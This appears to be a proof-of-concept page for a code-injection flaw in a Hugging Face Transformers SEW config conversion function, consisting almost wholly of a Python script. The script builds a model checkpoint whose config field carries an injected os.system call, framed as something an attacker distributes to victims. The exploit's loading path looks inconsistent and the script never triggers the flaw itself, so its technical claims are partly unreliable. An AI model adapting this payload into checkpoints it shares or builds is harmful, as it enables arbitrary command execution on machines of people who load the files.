CVE-2025-14926: Hugging Face Transformers SEW convert_config代码注入漏洞

# CVE-2025-14926 PoC - Malicious checkpoint for SEW convert_config # This PoC demonstrates the code injection vulnerability in Hugging Face Transformers import torch import os def create_malicious_checkpoint(): """ Create a malicious checkpoint that exploits the convert_config vulnerability. The malicious code will be executed when convert_config processes the config. """ malicious_code = "__import__('os').system('whoami > /tmp/pwned.txt')" # Create a malicious config dictionary # This simulates how an attacker might inject code through config values config = { '_name_or_path': malicious_code, 'model_type': 'sew', 'architectures': ['SEWModel'], 'hidden_size': 768, 'num_hidden_layers': 12, 'num_attention_heads': 12, 'intermediate_size': 3072 } # Save the malicious checkpoint checkpoint_path = '/tmp/malicious_sew_checkpoint.pt' torch.save({ 'state_dict': torch.randn(10, 10), 'config': config }, checkpoint_path) print(f'[+] Malicious checkpoint created: {checkpoint_path}') return checkpoint_path def exploit(): """ Simulate the exploitation process. In real scenario, victim would load this checkpoint using: from transformers import SEWModel, AutoConfig config = AutoConfig.from_pretrained('malicious_checkpoint_path') """ checkpoint_path = create_malicious_checkpoint() print('[+] Attacker can now distribute this malicious checkpoint') print('[+] When victim loads it via convert_config, arbitrary code executes') # Cleanup if os.path.exists(checkpoint_path): os.remove(checkpoint_path) if __name__ == '__main__': exploit()